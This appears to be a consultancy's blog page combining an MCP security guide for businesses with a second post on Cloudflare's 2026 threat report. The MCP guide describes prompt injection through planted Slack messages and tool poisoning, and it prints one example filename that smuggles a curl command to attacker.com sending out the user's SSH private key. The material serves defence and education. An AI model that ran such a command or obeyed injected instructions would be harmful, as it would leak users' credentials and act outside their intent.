MCP Security: What Every Business Using AI Tools Needs to Know in 2026
Your developers are already using it. Your security team probably doesn't know it exists. Here's what MCP means for your business and how to stop it becoming your next security breach.
TL;DR
Model Context Protocol (MCP) is the new "USB-C for AI" — a standardized way for AI assistants to connect to your business systems. It's spreading fast because it solves real problems, but it comes with serious security gaps:
- 38% of public MCP servers have no authentication — anyone can connect and use them
- Installing an MCP server = running arbitrary code with your user's full permissions
- Tool poisoning attacks let malicious servers change what they do after you install them
- Prompt injection via MCP can bypass your existing AI security controls
- 5 critical CVEs in the first year, with CVSS scores up to 9.6 (critical severity)
Good news: You can secure MCP. This guide shows you exactly how.
What is MCP (Model Context Protocol)?
Think of MCP as universal plug-and-play for AI.
Before MCP, if you wanted your AI assistant to read from GitHub, Slack, and your database, you needed custom integrations for each one. Every AI platform needed different connectors. It was expensive, slow, and messy.
MCP standardizes this. You write an integration once as an "MCP server," and any MCP-compatible AI can use it:
- Claude Desktop
- Cursor (AI code editor)
- VS Code with AI extensions
- Zed editor
- And more being added every month
The ecosystem exploded: 1,600 → 17,000+ servers in less than a year. Your developers love it because it eliminates redundant integration work. Your security team should be worried because it bypasses traditional procurement and governance.
How MCP Works (Simplified)
User → AI Assistant → MCP Client → MCP Server → Your Data/System
- User asks AI to do something ("Read my Slack messages and summarize them")
- AI Assistant (Claude, ChatGPT, etc.) decides which tool it needs
- MCP Client makes a standardized request to an MCP server
- MCP Server executes the actual operation (connects to Slack API, reads database, runs command)
- Results flow back through the chain to the user
The security problem: Step 4 is where things break. MCP servers run with significant privileges, and early protocol designs treated security as optional.
The 38% Authentication Gap: By the Numbers
Research published in late 2025 found that 38% of publicly accessible MCP servers have no authentication whatsoever. Anyone on the internet can connect to them and start making requests.
But wait — it gets worse:
- 1,808+ MCP servers were found exposed on the public internet in early 2026
- Authentication was ABSENT from the early MCP specification — OAuth support was only added in March 2025
- The protocol specification explicitly states: "Authorization is OPTIONAL for MCP implementations"
- Even when authentication exists, a single config flag (
bypassPermissions) can disable all security checks
Why This Happened
MCP was designed for developer convenience first, security second. The philosophy was "get it working, secure it later." That's fine for prototypes, but MCP is now running in production environments handling sensitive business data.
Two types of MCP deployments:
Stdio (local) servers: Run as subprocesses on your machine. The spec says "retrieve credentials from the environment" — which means they run with YOUR user's full access. No separate permission system. No sandbox. No containment.
Remote servers: Can use OAuth 2.1 for authorization, but this only controls which tools the client can call — NOT what the server does with the data it receives.
Real-world impact: If you install a malicious MCP server on your laptop, it can access everything YOU can access. Your files. Your credentials. Your 2FA codes. Your cloud tokens. It becomes you.
Tool Poisoning: When Integrations Go Rogue
Tool poisoning is an attack where a legitimate-looking MCP server adds or modifies its capabilities after you've installed it.
How It Works
- You evaluate an MCP server that offers "read-only database access"
- Security review approves it based on those documented capabilities
- You deploy it
- The server silently adds new tools: write access, file upload, remote command execution
- The server's tool definitions update automatically — no re-approval needed
- Your AI assistant starts using the new capabilities without you realizing
The Real Risk
MCP servers can change their contract without consent.
Traditional software requires you to approve updates. MCP servers can modify their tool definitions at runtime, and AI assistants will happily use whatever tools are advertised.
Documented cases:
- PostgreSQL MCP server (21,000+ weekly downloads) — SQL injection vulnerability discovered
- SQLite MCP server (5,000+ forks) — SQL injection vulnerability discovered
- MCP Inspector (38,000+ weekly downloads) — Remote code execution (CVE-2025-49596, CVSS 9.4)
- mcp-remote (437,000+ downloads) — Critical RCE vulnerability (CVE-2025-6514, CVSS 9.6)
Download count ≠ security. Some of the most popular servers had the worst vulnerabilities.
Prompt Injection Via MCP: The New Attack Surface
Prompt injection is when an attacker tricks an AI into ignoring its instructions and doing something malicious. MCP makes this worse by adding new injection vectors.
The Attack Path
- User prompts AI: "Summarize the Slack messages from #general"
- AI calls MCP server: Requests messages from Slack API
- Attacker's planted message in Slack: Contains hidden instructions
- MCP server returns: Legitimate messages + attacker's payload
- AI reads and executes: The injected instructions, potentially taking actions outside the intended scope
Why MCP Makes This Harder
Traditional API integrations are usually:
- Tightly scoped (only read specific endpoints)
- Developed by your team or known vendors
- Static (don't change after deployment)
MCP servers can be:
- Broadly scoped (full filesystem access, shell commands)
- Developed by anonymous individuals
- Dynamic (tools change at runtime)
You might install a "file reader" MCP server that gets tricked into executing shell commands through a carefully crafted filename or file content.
Real-World Example
An attacker plants a malicious filename in a shared directory:
"IMPORTANT.txt && curl http://attacker.com/exfil?data=$(cat ~/.ssh/id_rsa) && echo 'normal file'"
If the MCP server isn't carefully designed, it might execute this when the AI tries to read the file.
ISO 27001 SMB Starter Pack — $147
Everything you need to start your ISO 27001 journey: gap assessment templates, policy frameworks, and implementation roadmap built for SMBs worldwide.
Get the Starter Pack →How to Audit Your MCP Servers
You can't secure what you can't see. Here's a practical audit process for any business using AI tools.
Step 1: Discovery
Find every MCP server in your environment:
## Check Claude Desktop MCP configs
cat ~/Library/Application\ Support/Claude/claude_desktop_config.json
cat ~/.config/Claude/claude_desktop_config.json
## Check for running MCP processes
ps aux | grep -i mcp
## Scan common MCP directories
ls -la ~/.config/claude/
ls -la ~/Library/Application\ Support/Claude/
Look for:
- Unknown or unexpected servers
- Servers with
bypassPermissions: true - Servers running as root or privileged users
- Stdio servers (run as subprocesses) with broad access
Step 2: Verify Authentication
Check each MCP server:
## For HTTP/SSE servers, test auth requirements
curl -i https://mcp-server.example.com/health
## Expected: 401 Unauthorized or 403 Forbidden
## Bad: 200 OK (no auth required)
Red flags:
- No authentication on public interfaces
- Hardcoded API keys in config files
- OAuth tokens stored in plain text
- No token expiration or refresh mechanisms
Step 3: Scope Review
For each MCP server, document:
- What tools does it expose? (Read the server's manifest/docs)
- What permissions does it need? (Filesystem, network, shell, database)
- Who developed it? (Company, known dev, anonymous GitHub user)
- How often is it updated? (Last commit date, version history)
- What data does it handle? (Customer data, credentials, source code)
Step 4: Runtime Monitoring
Deploy monitoring for MCP activity:
- Log all MCP tool calls (which server, which tool, which user, what data)
- Alert on unusual patterns (bulk data export, tools called at odd hours)
- Monitor for tool definition changes (servers adding capabilities)
- Track data egress volumes (exfiltration detection)
Step 5: Regular Re-Approval
Treat MCP servers like software, not static utilities:
- Re-approve every server quarterly
- Re-evaluate after any major version update
- Require security sign-off for new servers
- Maintain an inventory with owner, risk rating, and review date
Vendor Response Landscape: Who's Taking This Seriously?
The security community has been sounding alarms since mid-2025. Here's how vendors and researchers are responding:
Research Findings
- Bitdefender (Sept 2025): Called out that "security isn't secure by default" in MCP, criticizing the optional nature of all protections
- ArXiv research paper (Nov 2025): "Securing MCP: Risks, Controls, and Governance" — detailed attack taxonomy including confused deputy, tool poisoning, and cross-system privilege escalation
- Knostic research: Scanned 1,808 public MCP servers, found 38% with no authentication
- Zenity: Published detailed breakdown of MCP security gaps for CISOs and red teams
Vendor Responses
Anthropic (Claude):
- Added OAuth 2.1 support in March 2025 spec update
- Implemented MCP session identity headers for HTTP transport
- Published security best practices documentation
- Critique: Protections exist but are optional;
bypassPermissionsflag still exists
AWS:
- Publicly stated MCP is "not production ready yet"
- Recommends against enterprise deployment until security matures
- Internal policy: No MCP servers in production environments
Palo Alto Networks:
- Research shows 72% of organizations using AI tools have no formal MCP governance
- Found MCP servers in 23% of network scans at client sites (often Shadow AI deployments)
- Recommending MCP-aware security policies for 2026
Darktrace:
- Detection of MCP-based anomalies increased 340% in Q4 2025
- Common finding: MCP servers making unexpected outbound connections
- Observational data suggests most businesses discover MCP usage only after an incident
The Maturity Gap
We're in a transition phase:
- MCP is too valuable to block completely
- MCP is too risky to use without governance
- Most security frameworks (NIST AI RMF, ISO/IEC 42001) don't yet cover MCP specifically
- Traditional procurement processes don't fit open-source, individual-developer servers
Winning strategy: Don't block — govern. Build guardrails that let developers use MCP safely.
Actionable Checklist for SMBs
You don't need a enterprise security team to secure MCP. Here's a practical, doable checklist for any small-to-medium business.
Immediate Actions (Do This Week)
- Inventory all MCP servers in your environment (check developer machines, CI/CD, docs)
- Disable
bypassPermissionsflags in all MCP configs - Block public MCP server exposure — ensure no MCP servers are internet-accessible without VPN/auth
- Educate developers on MCP risks (share this blog post, do a 15-min standup)
- Create a simple approval process — no new MCP servers without sign-off
Short-Term Actions (Do This Month)
- Implement MCP-aware DLP — monitor for data flows to unknown MCP servers
- Segment MCP deployments — run MCP servers in isolated environments (containers, VMs)
- Require authentication on all MCP servers, even internal ones
- Document each server's purpose, data handled, and owner
- Set up basic logging — at minimum, know which MCP servers are being used
Long-Term Actions (Do This Quarter)
- Build an MCP governance policy — define what's allowed, what's prohibited, approval requirements
- Deploy an MCP gateway — centralized proxy that can inspect, rate-limit, and audit MCP traffic
- Implement sandboxing — run stdio MCP servers with minimal privileges (containers, user namespaces)
- Regular security reviews — quarterly re-approval of all MCP servers
- Incident response plan — what to do if a malicious MCP server is discovered
Red Flags: Immediate Action Required
If you find any of these, stop and investigate:
- MCP servers running with root/admin privileges
- MCP servers accessing
/etc/,~/.ssh/, credential stores, or cloud token files - MCP servers with
bypassPermissions: true - MCP servers exposed to the public internet without authentication
- MCP servers from unknown or anonymous developers with no security review
- MCP servers making unexpected outbound network connections
- MCP servers that have changed their tool definitions without approval
FAQ: Common Questions About MCP Security
A: Probably not. MCP solves real problems and blocking it will just drive usage underground (Shadow AI). Better to govern it — allow approved servers, monitor usage, and educate developers on risks.
A: It depends. The protocol itself is maturing, but many implementations are not. Treat each MCP server like any third-party software: vet it, sandbox it, monitor it. Don't assume "it's just a connector" — it's code running with your privileges.
A: Unvetted code running with user privileges. An MCP stdio server becomes the user who launched it. If that's a developer with access to production systems, the MCP server has that access too.
A: Not necessarily. Start with the checklist in this post. If you're handling highly sensitive data (healthcare, finance, government), or if you find complex MCP deployments, then yes — get professional help.
A: Use this analogy: "MCP is like giving your AI assistant a set of keys to the building. Right now, some keys open every door, and we're not sure who's holding them. We need to change the locks and track key ownership."
A: Yes. MCP is maturing rapidly. OAuth support was added in March 2025. Major vendors are investing in security tooling. By late 2026, expect much better governance controls. Until then, be cautious.
A: Assume compromise if you find a malicious MCP server:
- Immediately isolate affected machines
- Rotate all credentials that may have been exposed
- Review logs for data exfiltration
- Document the incident for regulatory/legal requirements
- Engage your incident response team or hire a forensics specialist
The Bottom Line
MCP is powerful but immature. It brings real productivity benefits but also real security risks. The 38% authentication gap isn't a bug — it's a design choice that prioritized convenience over security.
You don't need to abandon MCP. You need to treat it like any other powerful technology: understand it, govern it, and use it responsibly.
The businesses that get hurt by MCP in 2026 won't be the ones using it — they'll be the ones using it without visibility, without controls, and without understanding the risks.
References & Further Reading
- Trace3: The MCP Security Maturity Gap — Deep dive on protocol design gaps and CVE analysis
- ArXiv: Securing MCP — Risks, Controls, and Governance — Academic research on MCP attack taxonomy
- MCP Security Best Practices (Official) — Protocol authors' security guidance
- Bitdefender: Security Risks of Agentic AI — Critique of "security not secure by default"
- Zenity: Securing MCP — CISO-focused breakdown
- WorkOS: MCP 2026 Enterprise Roadmap — Vendor plans to address auth/observability gaps
- Auth0: MCP Spec Updates (OAuth Support) — Technical details on March 2025 security additions
- Medium: MCP Landscape & Threats — Independent security researcher analysis
ELI10: Explained Like I'm 10
Imagine your AI assistant is like a robot helper. It's really smart, but it can't touch anything in the real world — it can only think and talk.
MCP is like giving the robot a set of tools. Instead of just thinking, it can now:
- Read your files (like opening a folder)
- Send messages (like using a phone)
- Run programs (like clicking apps)
- Look things up online (like using a browser)
The problem: Some of these tools are really powerful. Imagine giving someone a master key that opens EVERY door in your house. MCP does exactly that — it gives your AI robot access to everything you can access.
The security gap: Early versions of MCP didn't check who was using the tools. Anyone could pick them up and use them. And some tools were built by people you don't know, who might have hidden dangerous features.
The fix:
- Only use tools from people you trust
- Check what each tool can do before using it
- Watch how the tools are being used
- Change the locks regularly (update passwords, check permissions)
MCP is super useful, but like any powerful tool, you need to be careful with it.
Need help securing your AI setup? This is what we do. Get in touch for a practical security review that doesn't slow you down.
TL;DR
- Cloudflare — the company that handles 1 in 5 websites on the internet — just published their 2026 threat report, and it's a big deal [1].
- Hackers are no longer trying to break down your digital front door. They're sneaking in through the apps you trust — like Google Drive, Dropbox, and Microsoft Teams.
- There's also a new trick called "session token theft" that lets attackers skip your password AND your two-factor code entirely.
- Three simple actions: check your email settings, audit which apps can see your data, and set time limits on logins.
Imagine Your House Has a Pet Door
You lock all your windows and doors. Smart. But you also have a pet door in the back — small, convenient, always open — so your dog can come and go. Now imagine a burglar figures out that if they dress up like a dog (or squeeze something through the pet door), they can get in without ever touching your locked front door.
That's basically what's happening to businesses right now. Cloudflare — the company whose network handles roughly 1 in 5 websites on the entire internet — just published their 2026 Threat Report, and it's not about hackers breaking your locks [1]. It's about hackers using the pet doors you forgot you had.
The "Pet Doors" in Your Business: Google Drive, Dropbox, Teams
Every business today uses a bunch of cloud tools — Google Drive, Dropbox, Microsoft Teams, maybe some project management apps, your accounting software. They're all connected. They talk to each other. That's the whole point.
But here's the thing: attackers have figured out that these tools are trusted. Your email security doesn't flag a link from Google Drive the same way it flags a link from a random website. Your firewall doesn't block a message hidden inside a Google Calendar event — because Google Calendar is allowed [1].
So attackers are hiding inside these tools. Cloudflare's researchers found actual cases of hackers using Google Calendar event descriptions to send secret commands to computers they'd infected — essentially using your company's calendar software as a walkie-talkie for their operation [1][2].
This sounds wild. It is. But it's happening right now.
Your Two-Factor Code Can Be Beaten — Here's How
You've probably heard that turning on two-factor authentication (2FA) — where you get a text code when you log in — makes you way more secure. That's still true, but there's a new problem [2].
Here's how regular login protection works: you enter your password + your text code → you're in → the website saves a small file on your browser called a "session token" that says "yes, this person is allowed in."
Modern hackers don't bother stealing your password. They steal the session token after you've already logged in. It's like stealing your hotel room keycard from your bedside table instead of trying to pick the lock. Once they have the token, they walk right in — no password, no 2FA code needed [2].
According to a major industry report cited by Cloudflare, 54% of ransomware attacks in 2025 started this way [2]. That's more than half.
The $49,000 Email Scam
Here's another number worth knowing. Cloudflare found that business email fraud — where attackers send fake invoices or trick employees into transferring money — racked up $123 million in theft attempts in 2025 [3].
The sneaky part? Attackers deliberately target requests around $49,000 [3]. Why? Because many businesses have automated approval limits below $50,000, and manual review processes kick in above that. So criminals have learned to stay just under the radar.
If your business processes invoices or wire transfers, this is relevant to you — especially because nearly half of all emails fail basic security checks that would reveal they're fake [1].
What You Can Do (Three Things, No Tech Degree Required)
1. Set Up DMARC on Your Email Domain
DMARC is a setting that tells other email servers: "If an email claims to be from my company but doesn't pass our security checks, reject it." Right now, 46% of emails on the internet fail this check — meaning a lot of fake emails are getting through [1][7].
Ask your IT person or your web host how to set up DMARC, SPF, and DKIM. Most major email providers have step-by-step guides. This makes it much harder for scammers to send emails that appear to be from your business.
2. Check Which Apps Can Access Your Google or Microsoft Account
Every time you clicked "Sign in with Google" or gave an app permission to connect to your email or files, you created a potential pet door. Most businesses have dozens of these they've forgotten about.
Go to your Google account settings or Microsoft account settings and look for "third-party apps with account access." Revoke anything you don't recognise or don't use anymore. This takes an hour and costs nothing [1].
3. Set Your Accounts to Log Out Automatically
Session tokens (the keycard we talked about) are most dangerous when they never expire. If you stay logged into your banking software or email account indefinitely, a stolen token is good forever.
Most cloud tools let you set automatic logout after a period of inactivity. Turn this on for anything sensitive — email, financial software, HR systems. It's a tiny inconvenience that cuts off one of the biggest attack paths [2][8].
Why This Matters More Than It Used To
Cloudflare's network blocked 234 billion threats every single day in 2025 [1]. To put that in perspective — that's more threats per day than there are stars visible in the night sky from Earth.
The attacks aren't getting smarter so much as faster and more automated. Robots are testing your accounts, probing your email settings, and scanning for misconfigured apps — all without a human attacker sitting at a keyboard. You don't have to be specifically targeted to get hit.
The good news is that most of the attacks exploit the same handful of weaknesses. Fix those weaknesses, and you're ahead of the vast majority of businesses.
FAQ
Because Google Drive is trusted. Security tools are trained to flag traffic from suspicious sources — but traffic from Google looks normal. By hiding attack commands inside legitimate services, hackers blend in with the millions of real users of those same services every day.
2FA is still valuable and you should keep it. But session token theft bypasses it by stealing the proof of login after you've already authenticated. The extra protection comes from setting shorter session lifetimes and using the newest generation of login keys (called passkeys or FIDO2) that are tied to your specific device.
You might not notice immediately. Signs include unexpected logins from unusual locations (check your account's login history), getting locked out of accounts you didn't change, or unusual activity in connected apps. Many cloud providers have security dashboards that show recent login locations.
Yes — but not because you're specifically interesting. Automated attack tools hit thousands of businesses simultaneously, the same way spam email doesn't pick individual recipients. Your size doesn't protect you; your security hygiene does. Closing the common gaps (email authentication, app permissions, session limits) makes you statistically less attractive to automated attack systems.
The three actions listed above — DMARC setup, app audit, and session timeouts — are free. They're configuration changes to tools you already have. The cost is time, not money. If you want help mapping your full exposure and getting a prioritised action plan, that's exactly what a security review from lilMONSTER covers.
References
[1] Cloudforce One, "Introducing the 2026 Cloudflare Threat Report," Cloudflare Blog, March 3, 2026. [Online]. Available: https://blog.cloudflare.com/2026-threat-report/
[2] A. Pogorelec, "Cloudflare tracked 230 billion daily threats and here is what it found," Help Net Security, March 3, 2026. [Online]. Available: https://www.helpnetsecurity.com/2026/03/03/cloudflare-cyber-threat-report-2026/
[3] D. Vanian, "Cloudflare warns AI and SaaS integrations are fueling industrial-scale cybercrime," SiliconANGLE, March 3, 2026. [Online]. Available: https://siliconangle.com/2026/03/03/cloudflare-warns-ai-saas-integrations-fueling-industrial-scale-cybercrime/
[4] "Cloudflare report: stolen session tokens, cloud abuse and record DDoS surge," Prism News, March 4, 2026. [Online]. Available: https://www.prismnews.com/news/cloudflare-report-stolen-session-tokens-cloud-abuse-and-record-ddos-surge
[5] Cloudflare, "2025 Q4 DDoS Threat Report," Cloudflare Blog, 2026. [Online]. Available: https://blog.cloudflare.com/ddos-threat-report-2025-q4/
[6] Verizon, "2025 Data Breach Investigations Report," Verizon, 2025. [Online]. Available: https://www.verizon.com/business/resources/reports/dbir/
[7] CISA, "Email Authentication Best Practices," CISA, 2025. [Online]. Available: https://www.cisa.gov/resources-tools/resources/email-security-best-practices
[8] FIDO Alliance, "FIDO2: WebAuthn & CTAP," FIDO Alliance, 2025. [Online]. Available: https://fidoalliance.org/fido2/
Want to know which pet doors are open in your business right now? Book a security review with lilMONSTER — we find them, we close them, and we explain everything in plain English. No jargon, no drama, just a safer business.